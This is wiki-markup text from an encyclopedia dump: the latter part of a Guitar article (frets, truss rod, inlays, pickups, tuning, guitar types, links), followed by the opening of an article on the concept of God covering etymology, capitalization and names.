Frets are metal strips (usually nickel alloy) embedded along the fretboard which are placed in points along the length of string that divide it mathematically. When strings are pressed down behind them, frets shorten the strings' vibrating lengths to produce different pitches- each one spaced a half-step apart on the 12 tone scale. For more on fret spacing, see the ''Strings and Tuning'' section below. Frets are usually the first permanent part to wear out on a heavily played electric guitar. They can be re-shaped to a certain extent and can be replaced as needed. Frets also indicate fractions of the length of a string (the string midpoint is at the 12th fret; one-third the length of the string reaches from the nut to the 7th fret, the 7th fret to the 19th, and the 19th to the saddle; one-quarter reaches from nut to fifth to twelfth to twenty-fourth to saddle). This feature is important in playing [[harmonics]].  Frets are available in several different gauges, depending on the type of guitar and the player's style.

Guitars have [[fret]]s on the [[fingerboard]] to fix the positions of notes and [[scale (music)|scales]], which gives them [[equal temperament]]. Consequently, the [[ratio]] of the widths of two consecutive frets is the [[twelfth root of two]] &lt;math&gt;\sqrt[12]{2}&lt;/math&gt;, whose numeric value is about 1.059463. The twelfth fret divides the string in two exact halves and the 24th fret (if present) divides the string in half yet again. Every twelve frets represents one octave.

===Truss rod===
The '''truss rod''' is an adjustable metal rod that runs along the inside of the neck, adjusted by a hex nut or an allen-key bolt usually located either at the headstock (under a cover) or just inside the body of the guitar, underneath the fretboard (accessible through the sound hole). The truss rod counteracts the immense amount of tension the strings place on the neck, bringing the neck back to a straighter position. The truss rod can be adjusted to compensate for changes in the neck wood due to changes in humidity or to compensate for changes in the tension of strings. Tightening the rod will curve the neck back and loosening it will return it forward. Adjusting the truss rod affects the intonation of a guitar as well as affecting the action (the height of the strings from the fingerboard). Some truss rod systems, called &quot;double action&quot; truss systems, will tighten both ways, allowing the neck to be pushed both forward and backward (most truss rods can only be loosened so much, beyond which the bolt will just come loose and the neck will no longer be pulled backward). Most classical guitars do not have truss rods, as the nylon strings do not put enough tension on the neck for one to be needed.

===Inlays===
{{main|Inlay (guitar)}}
Inlays are visual elements set into the exterior wood on a guitar.  The typical locations for inlay are on the fretboard, headstock, and around the soundhole (called a rosette on acoustic guitars). Inlays range from simple plastic dots on the fretboard to fantastic works of art covering the entire exterior surface of a guitar (front and back). Some guitar players put [[LED]]'s in the fretboard as inlays to produce a neat lighting effect onstage.  The person who is most well-known for this effect is bassist Sam Rivers of Limp Bizkit.

Fretboard inlays are most commonly shaped like dots, diamond shapes, parallelograms, or large blocks in between the frets. Dots are usually inlaid into the upper edge of the fretboard in the same positions, small enough to be visible only to the player.  Some manufacturers go beyond these simple shapes and use more creative designs such as lightning bolts or letters and numbers.  The simpler inlays are often done in plastic on guitars of recent vintage, but many older, and newer, high-end instruments have inlays made of [[mother of pearl]], [[abalone]], [[ivory]], [[colored wood]] or any number of exotic materials. On some low-end guitars, they are just painted. Many classical guitars have no inlays at all; the player himself sometimes will make them with a [[marker pen]], [[correction fluid]], or a small piece of tape.

The most popular fretboard inlay scheme involves single inlays on the 3rd, 5th, 7th, 9th, 15th, 17th, 19th, and 21st frets, and double inlays on the 12th, sometimes 7th, and (if present) 24th fret. Pros of such scheme include its symmetry about the 12th fret and symmetry of every half (0-12 and 12-24) about the 7th and 19th frets. However, playing these frets, for example, on E string would yield notes E, G, A, B, C# that barely makes a complete [[musical mode]] by themselves.

A less popular fretboard inlay scheme involves inlays on 3rd, 5th, 7th, 10th, 12th, 15th, 17th, 19th, 22nd and 24th frets. Playing these frets, for example, on E string yields notes E, G, A, B, D that fit perfectly into E minor [[pentatonic]]. Such a scheme is very close to [[piano]] keys coloring (which involves black coloring for [[sharp]]s that pentatonic consists of) and of some use on classic guitars.

Beyond the fretboard inlay, the headstock and soundhole are also commonly inlaid.  The manufacturer's logo is commonly inlaid into the headstock.  Sometimes a small design such as a bird or other character or an abstract shape also accompanies the logo.  The soundhole designs found on acoustic guitars vary from simple concentric circles to delicate fretwork.  Many high-end guitars have more elaborate decorative inlay schemes.  Often the edges of the guitar around the neck and body and down the middle of the back are inlaid.  The fretboard commonly has a large inlay running across several frets or the entire length of the fretboard, such as a long vine creeping across the fretboard.  Most acoustic guitars have an inlay that borders the sides of the fretboard, and some electrics (namely Fender Stratocasters) have a black inlay running on the back of the neck, from about the body to the middle of the neck, commonly referred to as a skunk stripe.

Some very limited edition high-end or custom-made guitars have artistic inlay designs that span the entire front (or even the back) of the guitar.  These designs use a variety of different materials and are created using techniques borrowed from furniture making.  While these designs are often just very elaborate decorations, they are sometimes works of art that even depict a particular theme or a scene.  Although these guitars are often constructed from the most exclusive materials, they are generally considered to be collector's items and not intended to be played. Large guitar manufacturers often issue these guitars to celebrate a significant historical milestone.

===Neck===
A guitar's frets, fretboard, tuners, headstock, and truss rod, all attached to a long wooden extension, collectively comprise its neck. The wood used to make the fretboard will usually differ from the wood in the rest of the neck. The bending stress on the neck is considerable, particularly when heavier gauge strings are used (see [[Guitar#Strings and tuning|Strings and tuning]]), and the ability of the neck to resist bending (see [[#Truss Rod|Truss rod]]) is important to the guitar's ability to hold a constant pitch during tuning or when strings are fretted. The rigidity of the neck with respect to the body of the guitar is one determinant of a good instrument versus a poor one. Conversely, the ability to change the pitch of the note slightly by deliberately bending the neck forcibly with the fretting arm is a technique occasionally used, particularly in the [[blues]] genre and those derived from it, such as [[rock and roll]].  The shape of the neck can also vary, from a gentle &quot;C&quot; curve to a more pronounced &quot;V&quot; curve.

===Neck joint===
This is the point at which the neck is either bolted or glued to the body of the guitar.  Almost all acoustic guitars, with the primary exception of Taylors, have glued (otherwise known as set) necks, while electric guitars are constructed using both types. Set necks usually feature dovetail joints, which offer stability and sustain. Other commonly used neck joints include mortise-and-tenon joints (such as those used by CF Martin &amp; Co. guitars), and Spanish Heel style neck joints (commonly found in classical guitars). Bolt-on necks, though they are historically associated with cheaper instruments, do offer greater flexibility in the guitar's set-up, and allow easier access for neck joint maintenance and repairs. Another type of neck, only available for solid body electric guitars, is the Neck-Through-Body construction. These are designed so that everything from the machine heads down to the bridge are located on the same piece of wood. The sides (also known as wings) of the guitar are then glued to this central piece. Some luthiers prefer this method of construction as it is said to allow better sustain of each note. Some very high-end instruments may not have a neck joint at all, having the neck and sides built as one piece and the body built around it.

===Body (acoustic guitar)===
The body of the instrument is a major determinant of the overall sound for acoustic guitars. The guitar top, or soundboard, is a finely crafted and engineered element often made of [[spruce]], [[red cedar]] or [[mahogany]]. This thin (often 2 or 3 mm thick) piece of wood, strengthened by different types of internal bracing, is considered to be the most prominent factor in determining the sound quality of a guitar. The majority of the sound is caused by vibration of the guitar top as the energy of the vibrating strings is transferred to it. Different patterns of wood bracing have been used through the years by luthiers; to not only strengthen the top against collapsing under the tremendous stress exerted by the tensioned strings (Torres, Hauser, Ramirez, Fleta being among the most influential designers of their time), but also to affect the resonation of the top. The back and sides are made out of a variety of woods such as mahogany, Indian [[rosewood]] and highly regarded Brazilian rosewood (''Dalbergia nigra''). Each one is chosen for their aesthetic effect and structural strength, and can also play a significant role in determining the instrument's [[timbre]]. These are also strengthened with internal bracing, decorated with inlays and purfling, and subjected to a lot of abuse.

The body of an acoustic guitar is a resonating chamber which projects the vibrations of the body through a ''sound hole'', allowing the acoustic guitar to be heard without amplification.  The sound hole is normally a round hole in the top of the guitar, though some may have different shapes or multiple holes.

As an instrument's maximum volume is determined by how much air it can move, the [[Dreadnought]] body size is popular amongst acoustic performers. However, size isn't everything and a well-made 3/4 sized nylon-strung instrument, which should seem inaudible outside intimate distances unamplified, can figure a versatile studio tool.

===Body (electric guitar)===
Most electric guitar bodies are made of wood. This wood is rarely one solid piece, as laminating hardwoods in the proper way can produce a body of exceptional strength and superior tone. The most common woods used for electric guitar body construction include [[maple]], [[basswood]], [[Ash tree|ash]], [[tulip tree|poplar]], [[alder]], and [[mahogany]]. Many bodies will consist of good sounding but inexpensive woods, like ash, with a &quot;top&quot;, or thin layer of another, more attractive wood (such as maple with a natural &quot;flame&quot; pattern) glued to the top of the basic wood. Guitars constructed like this are often called &quot;flame tops&quot;. The body is usually carved or routed to accept the other elements, such as the bridge, pickup, neck, and other electronic components.  Many higher-end electrics have a nitro-cellulose laquer finish on the top, which promotes resonance.

===Pickups===
The electric guitar is usually not very loud when it is played without an amplifier. 
[[Pickup_(music)|Pickups]] are electronic devices attached to a guitar that detect (or &quot;pick up&quot;) string vibrations and allow the sound of the string to be amplified. Pickups are usually placed right underneath the guitar strings.   The most common type of pickups contain magnets that are tightly wrapped in copper wire. This allows the pickups to measure the movement of the steel guitar string within the magnetic field above the pickup.  Some acoustic guitars also have microphones or [[pickup (music)|pickup]]s built into them for stage work. Pickups work on a similar principle to a [[generator]] in that the vibration of the strings causes a small current to be created in the coils surrounding the magnets. This signal is later amplified by an [[amplifier]]. However, a new type of pickup, called a [http://www.q-tuner.com/ Q-Tuner] pickup, has been developed that measures the [[magnetic flux density]] of multiple magnets located in the pickup. These pickups produce a better tone and pick up harmonic frequencies better than standard pickups, but they cost more and are more difficult to wire.

Traditional electric pickups are either single-coil or double-coil.  Double-coil pickups are also known as humbuckers for their noise-canceling ability.  The type and model of pickups used can have large effects on the tone of the guitar.  Typically, humbuckers are used by guitarists seeking a heavier sound. Single coil pickups are used by guitarists seeking a brighter, twangier sound. However, a disadvantage of single coil pickups is a 60 cycle hum.  Some guitars need a battery to power their pickups and/or pre-amp; these guitars are referred to as having &quot;active electronics&quot;, as opposed to the typical &quot;passive&quot; circuits.

Guitar Synthesisers may have specialist 'cluster' pickups, effectively giving each string its own pickup.

===Electronics===
On guitars that have them, these components and the wires that connect them allow the player to control some aspects of the sound like volume or tone. These at their simplest consist of passive components such as [[potentiometer]]s and [[capacitors]], but may also include specialized [[integrated circuits]] or other active components requiring [[batteries]] for power, for preamplification and signal processing, or even for assistance in tuning. In many cases the electronics have some sort of [[magnetic shielding]] to prevent pickup of external interference and noise.

===Purfling and binding===
This is the decorative edge found around the body of an acoustic guitar. Its purpose is not merely decorative, however. Because of the construction methods, the edges of the body are typically the weakest point of the acoustic guitar. There is not much wood there, as the sides have to be thin to allow for bending, and the top and back have to be thin to allow the string vibrations to resonate. Trying to connect two thin pieces of wood at a 90 degree angle is an engineering challenge. So to help, the purfling is used. The corners are overbuilt, using a triangular piece of scored wood (called a kerfed lining) on the interior of the instrument to allow it to follow the contours, and is glued in place. During final construction, a small section of the outside corners is carved or routed out and then filled in with the purfling or binding material. 

In mass produced guitars, the binding or purfling is almost exclusively high quality plastic. Once the purfling is glued in place, it is an integral part of the guitar, and contributes greatly to the durability of the instrument, since plastic tends not to split as wood does upon impact.  

===Bridge===
The main purpose of the bridge on an acoustic guitar is to transfer the vibration from the strings to the soundboard, which vibrates the air inside of the guitar, thereby amplifying the sound produced by the strings.

On both electric and acoustic guitars, the bridge holds the strings in place. From there, the variations are astounding. There may be some mechanism for raising or lowering the bridge to adjust the distance between the strings and the fretboard (action), and/or fine-tuning the intonation of the instrument. Some are springloaded and feature a &quot;whammy bar&quot;, a removable arm which allows the player to modulate the pitch moving the bridge up and down. The whammy bar is sometimes incorrectly referred to as a &quot;tremolo bar&quot;; unlike the change in pitch that the whammy bar produces, a tremolo is a quick oscillation of the volume. Some bridges allow for alternate tunings at the touch of a button.

===Pickguard===
Also known as a scratchplate. This is usually a piece of plastic or other laminated material that protects the finish of the top of the guitar. In some electric guitars, the pickups and most of the electronics are mounted on the pickguard. On acoustic guitars and many electric guitars, the pickguard is mounted directly to the guitar top, while on guitars with carved tops (e.g. the [[Gibson Les Paul]]), the pickguard is elevated. The Pickguard is more often than not used in styles such as [[flamenco]], which tends to use the guitar as a percussion instrument at times, rather than for instance, a classical guitar.



===Tuning===

A variety of different tunings are used. The most common by far, known as &quot;standard tuning&quot; (EADGBe), is as follows:

* sixth (lowest tone) string: E (a minor thirteenth below middle C&amp;#8212;82.4Hz)
* fifth string: A (a minor tenth below middle C&amp;#8212;110Hz)
* fourth string: D (a minor seventh below middle C&amp;#8212;146.8Hz)
* third string: G (a perfect fourth below middle C&amp;#8212;196.0Hz)
* second string: B (a minor second below middle C&amp;#8212;246.92Hz)
* first (highest tone) string: E (a major third above middle C&amp;#8212;329.6Hz)

Standard tuning has evolved to provide a good compromise between simple fingering for many [[chord (music)|chords]] and the ability to play common scales with minimal left hand movement.  There are also a variety of commonly used [[guitar tuning|alternate tunings]].

==Acoustic and electric guitar==
Broadly speaking, guitars can be divided into 2 categories:
# ''[[Acoustic guitar]]s'': Unlike the electric guitar, the traditional guitar is not dependent on any external device for amplification.  The shape and resonance of the guitar itself creates acoustic amplification.  However, the unamplified guitar is not a loud instrument, that is, it cannot compete with other instruments commonly found in bands and orchestras, in terms of sheer audible volume. Many acoustic guitars are available today with built-in electronics to enable amplification. There are several subcategories within the acoustic guitar group: classical and flamenco guitars, both of which use nylon and composite strings, and steel string guitars, which includes the flat top, or &quot;folk&quot; guitar, the closely related twelve string guitar, and the arch top guitar. A recent arrival in the acoustic guitar group is the acoustic bass guitar, similar in tuning to the electric bass.
## ''[[Renaissance music|Renaissance]] and [[Baroque music|Baroque]] guitars'':  These are the gracile ancestors of the modern [[classical guitar]]. They are substantially smaller and more delicate than the classical guitar, and generate a much quieter sound. The strings are paired in courses as in a modern [[12 string guitar]], but they only have four or five courses of strings rather than six. They were more often used as rhythm instruments in ensembles than as solo instruments, and can often be seen in that role in [[early music]] performances. ([[Gaspar Sanz]]' ''Instrucción de Música sobre la Guitarra Española'' of 1674 constitutes the majority of the surviving solo corpus for the era.) Renaissance and Baroque guitars are easily distinguished because the Renaissance guitar is very plain and the Baroque guitar is very ornate, with inlays all over the neck and body, and a paper-cutout inverted &quot;wedding cake&quot; inside the hole.
## ''[[Classical guitar|Classical guitars]]'':  These are typically strung with nylon strings, played in a seated position and used to play [[European classical music|classical music]].  ''Flamenco guitars'' are almost equal in construction, have a sharper sound, and are used in [[flamenco]]. In Mexico, the popular [[mariachi]] band includes a range of guitars, from the tiny requinto to the guitarron, a guitar larger than a cello, which is tuned in the bass register. The father of the modern classical guitar was [[Antonio Torres Jurado]].
## ''Flat-top (steel-string) guitars'': Similar to the [[classical guitar]], however the body size is usually significantly larger than a classical guitar and it has a narrower, reinforced neck and stronger structural design, to sustain the extra tension of steel strings which produce a louder and brighter tone. The acoustic guitar is a staple in [[folk music|folk]], [[Old-time music]] and [[blues]] music.
## ''Resonator'', ''resophonic'' or ''[[Dobro|Dobro&lt;sup&gt;&amp;reg;&lt;/sup&gt;]] guitars'': Similar to the flat top guitar in appearance, but with sound produced by a metal resonator mounted in the middle of the top rather than an open sound hole, so that the physical principle of the guitar is actually more similar to the [[banjo]].  The purpose of the resonator is to amplify the sound of the guitar; this purpose has been largely superseded by electrical amplification, but the resonator is still played by those desiring its distinctive sound.  The type of resonator guitar with a neck with a square cross-section -- called &quot;square neck&quot; -- is usually played face up, on the lap of the seated player, and often with a metal or glass [[slide guitar|slide]]. The round neck resonator guitars are normally played in the same fashion as other guitars, although slides are also often used, especially in blues.
## ''[[12 string guitar]]s'' usually have steel strings and are widely used in [[folk music]], [[blues]] and [[rock and roll]]. Rather than having only six strings, the 12-string guitar has pairs, like a [[mandolin]].  Each pair of strings is tuned either in unison (the two highest) or an octave apart (the others).  They are made both in acoustic and electric forms.  [[Big Joe Williams]] is a blues musician famous for his 12 string guitar.
##''[[Archtop guitar]]s'' are steel string, instruments which feature a violin-inspired f-hole design in which the top (and often the back) of the instrument are carved in a curved rather than a flat shape. Lloyd Loar of the [[Gibson Guitar Corporation]] invented this variation of guitar after designing a style of [[mandolin]] of the same type. The typical Archtop is a hollow body guitar whose form is much like that of a mandolin or violin family instrument and may be acoustic or electric. Some solid body electric guitars are also considered archtop guitars although usually 'Archtop guitar' refers to the hollow body form. Archtop guitars were immediately adopted upon their release by both [[jazz]] and [[country music|country]] musicians and have remained particularly popular in jazz music, usually using thicker strings (higher gauged round wound and flat wound) than acoustic guitars. Archtops are often louder than a typical dreadnought acoustic guitar. The electric hollow body archtop guitar has a distinct sound among electric guitars and is consequently appropriate for many styles of [[rock and roll]].  Many electric archtop guitars intended for use in [[rock and roll]] even have a [[Tremolo_arm|Tremolo Arm]].
##''[[Acoustic bass guitar]]s'' also have steel strings, and match the tuning of the electric bass, which is likewise similar to the traditional double bass viol, the &quot;big bass&quot;, a staple of string orchestras and [[Bluegrass music|bluegrass]] bands alike. 
##''[[Harp guitar]]s''. Harp Guitars are difficult to classify as there are many variations within this type of guitar. They are typically rare and uncommon in the popular music scene. Most consist of a regular guitar, plus additional 'harp' strings strung above the six normal strings. The instrument is usually acoustic and the harp strings are usually tuned to lower notes than the guitar strings, for an added bass range. Normally there is neither fingerboard nor frets behind the harp strings. Some harp guitars also feature much higher pitch strings strung below the traditional guitar strings. The number of harp strings varies greatly, depending on the type of guitar and also the player's personal preference (as they have often  been made to the player's specification).
#[[Image:Stratocaster_detail_DSC06937.jpg|thumb|right|This Fender Stratocaster has the features of most electric guitars: multiple single coil pickups, a whammy bar, volume and tone knobs.]] ''[[Electric guitar]]s'': Electric guitars can have solid, semi-hollow or hollow bodies, and produce little or very low sound without amplification.  [[Electromagnetic]] [[Pickup (music)|pickup]]s (single and double coil) convert the vibration of the steel strings into electric signals which are fed to an amplifier through a cable or radio device.  The sound is frequently modified by other electronic devices or natural distortion of valves ([[vacuum tube|vacuum tubes]]) in the amplifier.  The electric guitar is used extensively in [[blues]] and [[rock and roll]], and was commercialized by [[Gibson Guitar Corporation|Gibson]] together with [[Les Paul]] and independently by [[Leo Fender]]. The lower fretboard action (the height of the strings from the fingerboard) and its electrical amplification lend the electric guitar to some techniques which are harder (or impossible) to execute on acoustic guitars.  These techniques include [[tapping]], extensive use of [[legato]] through [[pull-off]]s and [[hammer-on]]s (a.k.a. slurs in the traditional Classical genre), [[pinch harmonic]]s, [[volume swells]] and use of a [[Tremolo arm]] or [[effects pedals]].
## ''[[7 string guitar]]s'' were developed in the 1990s (earlier in [[jazz]]) to achieve a much darker sound through extending the lower end of the guitar's range. They are used today by bands such as [[Korn|KoЯn]] and players such as [[Steve Vai]]. [[Meshuggah]] &amp; [[Charlie Hunter]] go a step further, using an ''[[8 string guitar]]'' with ''two'' extra low strings.
The electric bass is similar in tuning to the traditional double bass viol.
Hybrids of acoustic and electric guitars are also common.  There are also more exotic varieties, such as double-necked guitars, all manner of alternate string arrangements, fretless fingerboards (used almost exclusively on bass guitars, meant to emulate the sound of a [[Double bass | stand-up bass]]), and such.

==Guitar terminology==
The guitar has come to be called many different colloquial names over time such as: box, guit-fiddle, bread-winner and axe. The pitch bend arm found on many electric guitars has also had [[slang]] terms applied to it, such as &quot;tremolo bar&quot;, &quot;sissy bar&quot;, &quot;whammy handle&quot;, and &quot;whammy bar&quot;. The latter two slang terms led [[stompbox]] manufacturers to use the term 'whammy' in coming up with a pitch raising effect introduced by popular guitar brand &quot;[[Digitech]]&quot;.

[[Leo Fender]], who did much to revolutionize the modern electric guitar, also created much confusion over the meaning of the terms &quot;tremolo&quot; and &quot;vibrato&quot;, specifically by misnaming the [[Tremolo arm|&quot;tremolo&quot; bar]] on his guitars and also regarding the &quot;Vibrolux&quot; amps. Vibrato is a variation in pitch, whereas tremolo is a variation in volume, so the tremolo bar is actually a vibrato bar and the &quot;Vibrolux&quot; amps actually had a tremolo effect.

A [[Capo|capo]] (used to change key without changing fingering) is sometimes called a &quot;cheater&quot;.

A [[Slide guitar|slide]], (bottle or knife) used in blues and rock to create a 'gliss' or '[[Lap steel guitar|hawaiian]]' effect.  Many times, the necks of bottles were used.

==Guitar/synthesizer==

A [[guitar/synthesizer]] is the adaptation of a guitar to control a [[synthesizer]]. Most commonly, a guitar/synth is a converter which analyzes the pitch of each string and sends an electronic message to a synthesizer, telling it what note to play. The pitches of the individual strings can be determined if a hexaphonic pickup is used. In modern implementations, the converter's output is a [[MIDI]] signal. This implementation led to the use of ''MIDI guitar'' as a synonym for a guitar/synthesizer or for the field of guitar synthesis in general.

A guitar-like [[MIDI controller]] is also referred to as a ''guitar/synthesizer''. Such a device is not actually a guitar, but a human interface designed to play like one. It allows a guitarist to play synthesizers or other MIDI-enabled instruments. The [[SynthAxe]] was one notable example.

==See also==

*[[List of guitar-related topics]]

==External links==
{{book}}
{{commons|Guitar}}

*General
** [http://www.guitarwiki.com/ Guitar Wiki] Wiki-based guitar resource.
**[http://www.ilearnmusic.com/index.php?option=com_content&amp;task=category&amp;sectionid=6&amp;id=73&amp;Itemid=58 Free Guitar Lessons]    --Beginner guitar lessons for free -- including tablature to the Beatles, Led Zeppelin, and other classic rock songs, chords, and more.
**[http://www.classicalguitarmagazine.com/ Classical Guitar Magazine] The world's only monthly magazine dedicated to the classical guitar
** [http://www.cs.dartmouth.edu/~wbc/new/new_lute.html Wayne Cripps' lute pages] Photos of replica Renaissance and Baroque guitars 
** [http://www.guitarnoise.com Guitar Noise] Articles on theory and practice of guitar.
**[http://www.esflamenco.com/scripts/news/ennews.asp?frmIdPagina=380 All you need to know about your flamenco guitar]
** [http://www.wikiguitar.net/ Wiki Guitar] Wiki-based guitar resource site with tabs and lessons.
** [http://www.ultimate-guitar.com/ Ultimate-Guitar] Guitar site with tabs, news and articles.
** [http://sankey.ws/guitars/approach.html The Flat-back Archtop Guitar].
*Music
** [http://www.delcamp.net/en/index.html Delcamp.net] 1500 Classical guitar sheet music and 700 MP3 files for classical guitar, forums.
*Tabs &amp; Chords
** [http://www.looknohands.com/chordhouse/ Chord House] Guitar Chord and Scale Finder
** [http://chordfind.com/ ChordFind.com] Guitar Chord Finder
** [http://www.chordie.com/ Guitar Chords] Chordie - Guitar Chords
** [http://www.tabwiki.com/ Wiki Guitar Tabs] Guitar Tabs site using Wiki-technology.
** [http://www.platinumtabs.com Guitar Tabs] Guitar music tabs
** [http://www.guitarchordsmagic.com/ Guitar Chord Lessons] Beginners and advanced
** [http://www.chordchart.ro Chord Chart] Diagrams teaching the basic chord formations.
** [http://www.chordsandscales.co.uk Guitar Chords And Scales] Find and view guitar chords and scales
*Lessons
** [http://www.jazzfrets.com Jazz Frets Guitar Theory Lessons] This website offers a free Jazz Theory eBook written by JC Massaux (Instructor in Berklee College of Music) including various chapters about Jazz Chords, Improvisation, Notes and Music Harmony in general.
** [http://www.IGDb.co.uk/ Free Online Guitar Lessons] A Guitar Resource Mainly Targeted at Beginners
** [http://www.knowguitarchords.com/ Understanding Chords] Learn How Chords Are Made and Stop Just Memorizing Them
** [http://videoguitarlessons.no-ip.org Video Guitar Lessons] Free Video Lessons. Updated weekly. Beginner and intermediate. Rock, Blues and Metal.
** [http://howandtao.com Howandtao.com] Podcast blues guitar lessons.
** [http://www.guitarmadesimple.com Guitar Lessons] Lessons, Guitar instruction, articles, tips
** [http://www.guitarlessonfeedback.com Guitar Lesson Feedback] Guitar lesson news and reviews
** [http://www.guitar-school-online.com Guitar School Online] Guitar Lesson, Scales, Chords, News and Forums
** [http://folkguitar.us/ Folk Guitar] How to play backup guitar to old time fiddle tunes.
** [http://www.chrisbsmusic.com/howtotune.html How to Tune] How to tune a guitar.
**[http://www.dolphinstreet.com/guitar_video_lessons Dolphinstreet] Free Guitar Video Lessons
**[http://www.guitar-websites.co.uk Guitar Websites] Human-edited Guitarist's Directory

== Notes, references, and sources ==
*{{note|rhlh}} Unlike most musical instruments, guitars are produced in both right and left-handed models. The explanation above is given from the perspective of the more common right-handed player. Many left-handed players learn to play on right-handed instruments by flipping the guitar upside down and using different chord fingerings. This causes them to play certain notes with their thumb; an appendage that is usually reserved for pushing on the back of the guitar's neck. Some lefties, including [[Jimi Hendrix]], have even restrung a right-handed guitar to serve as a left-handed one.
  
[[Category:Musical instruments]]
[[Category:Guitars|*]]
[[Category:String instruments]]

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      <text xml:space="preserve">[[Image:Creation of the Sun and Moon face detail.jpg|thumb|150px|[[Michelangelo]]'s depiction of God in the painting ''Creation of the Sun and Moon'' in the  [[Sistine Chapel]])]]
:''This article discusses the term '''God''' in the context of [[monotheism]] and derived [[henotheism|henotheistic]] forms. See [[deity]], [[god (male deity)]] or [[goddess]]es for details on [[polytheism | polytheistic]] usages. See [[Names of God]] for terms used in other languages or specific faiths. See [[God (disambiguation)]] for non-religious meanings.''

'''God''' denotes a [[deity]] who is believed by [[monotheists]] to be the sole creator and ruler of the [[universe]]. Conceptions of God vary widely, despite the common use of the same term for them all.

[[Theologians]] and [[philosopher]]s have studied countless conceptions of God since the dawn of civilization.  The question of the [[existence of God]] classically falls under the branch of [[philosophy]] known as [[metaphysics]], but is also one of the key discussions taking place within the field of the [[philosophy of religion]].


== Etymology ==
[[Image:Gudis Argenteus.jpg|thumb|140px|Earliest attestation of the Germanic word in the [[6th century]] [[Codex Argenteus]] ([[Gospel of Matthew|Mt]] 5:9)]]
The word ''God'' continues [[Old English language|Old English]]/[[Germanic languages|Germanic]] ''god'' (''guþ, gudis'' in [[Gothic language|Gothic]], ''gud'' in modern [[Scandinavian]] and ''Gott'' in modern [[German language|German]]), from [[Proto-Germanic]] ''*{{unicode|ǥuđan}}''. The original meaning and [[etymology]] of the Germanic word ''god'' has been hotly disputed, though most agree to a reconstructed [[Proto-Indo-European language|Proto-Indo-European]] form ''*khutóm'', which is the neuter passive perfect participle of the root ''*khu-'', which likely meant &quot;[[libation]]&quot;, &quot;[[sacrifice]]&quot;. Compare:-
* [[Vedic Sanskrit]] ''hu-'' = &quot;to sacrifice&quot;.
* [[Greek language|Greek]] ''khu-'', ''kheu-'' = &quot;to pour&quot;.
* Common Germanic strong verb ''*geutan'' ([[Anglo-Saxon]] ''gēotan'') = &quot;to pour&quot;, English ''[[ingot|in-got]]''.

The connection between these meanings is likely via the meaning &quot;pour a [[libation]]&quot;. Another possible meaning of ''*khutóm'' is &quot;invocation&quot;, related to [[Sanskrit]] ''hūta''.

The same root appears in the names of three related [[Germanic tribes]], the [[Geat]]s, the [[Goths]] and the [[Gutar]]. These names may be derived from an eponymous chieftain [[Gaut]] who was subsequently deified, who sometimes appears in early Medieval sagas as a name of [[Odin]] or one of his descendants, a former king of the Geats (''Gaut(i)''), an ancestor of the [[Gutar]] (''Guti''), of the Goths (''Gothus'') and of the royal line of [[Wessex]] (''Geats'') and as a previous hero of the [[Goths]] (''Gapt''). The [[Lombardic language|Lombardic]] form of Odin, ''Godan'', may derive from cognate [[Proto-Germanic]] ''*{{unicode|ǥuđánaz}}''.

The word ''God'' was used to represent [[Greek language|Greek]] ''Theos'', [[Latin]] ''Deus'' in [[Bible]] translations, first in the Gothic translation of the [[New Testament]] by [[Ulfilas]].  For the etymology of ''deus'', see *[[dyeus]]. Greek ''theos'' is possibly unrelated, and of uncertain origin. [[Ferdinand de Saussure|De Saussure]] tentatively connected Baltic and Germanic words for &quot;spook&quot;, ultimately cognate with Latin ''fumus'' &quot;smoke&quot;.

[http://www.newadvent.org/cathen/06608x.htm Etymology of the Word God] - Catholic Encyclopedia article

===Capitalization===

[[Image:KJV Psalm 23 1 2.jpg|thumb|200px|KJV of 1611 ([[Psalms]] 23:1,2): Occurrence of &quot;&lt;font style=&quot;font-variant:small-caps&quot;&gt;Lord&lt;/font&gt;&quot; (and &quot;God&quot; in the heading)]]
The development of English orthography was dominated by [[Christianity|Christian]] texts. Capitalized &quot;God&quot; was first used to refer to the Judeo-Christian concept, and may now signify any monotheistic conception of God, including the translations of the [[Arabic language|Arabic]] ''[[Allah|Allāh]]'' and the African [[Masai]] ''[[Engai]]''.

In early English bibles, the [[Tetragrammaton]] was rendered in capitals: &quot;IEHOUAH&quot; in [[William Tyndale]]'s version of 1525. The [[KJV|King James Version]] of 1611 renders
*''[[YHWH]]'' as &quot;The &lt;font style=&quot;font-variant:small-caps&quot;&gt;Lord&lt;/font&gt;&quot;, also as &quot;Jehovah&quot;, see Psalms 83:18; Exodus 6:3.
*''[[Elohim]]'' as &quot;God&quot;
*''Adonay [[YHWH]]'' as &quot;Lord &lt;font style=&quot;font-variant:small-caps&quot;&gt;God&lt;/font&gt;&quot;
*''[[YHWH]] [[Elohim]]'' as &quot;&lt;font style=&quot;font-variant:small-caps&quot;&gt;Lord&lt;/font&gt; God&quot;
*''κυριος ο θεος''  as &quot;&lt;font style=&quot;font-variant:small-caps&quot;&gt;Lord&lt;/font&gt; God&quot; (in the New Testament)

The use of capitalization, as for a proper noun, has persisted to disambiguate the concept of a singular ''God'' from [[Paganism|pagan]] deities for which lower case ''god'' has continued to be applied, mirroring the use of Latin ''deus''. Pronouns referring to God are also often capitalized and are traditionally in the masculine [[gender (grammar)|gender]], i.e. &quot;He&quot;, &quot;His&quot; etc. However, in more recent times, some people have referred to God in feminine terms, such as &quot;She&quot; and &quot;Her&quot;.

==Names of God==
[[Image:Tetragrammaton scripts.png|frame|right|YHWH, the name of God or [[Tetragrammaton]], in [[Phoenician language|Phoenician]] (1100 BC to AD 300), [[Aramaic]] (10th Century BC to 0) and modern Hebrew scripts.]]{{see details|Names of God}}

The noun ''God'' is the proper English name used for the deity of monotheistic faiths. Different names for God exist within different religious traditions:

*[[Allah]] is the unique name of God used in [[Islam]], and also by most non-Muslim Arabs. ''ilah'', cognate to northwest Semitic [[El (god)|El]], is the generic word for a God (any deity), Allah contains the article, literally &quot;The God&quot;. Also, when speaking in English, Muslims often translate &quot;Allah&quot; as &quot;God&quot;.  One tradition states that Allah has [[99 Names of God|99 names]].
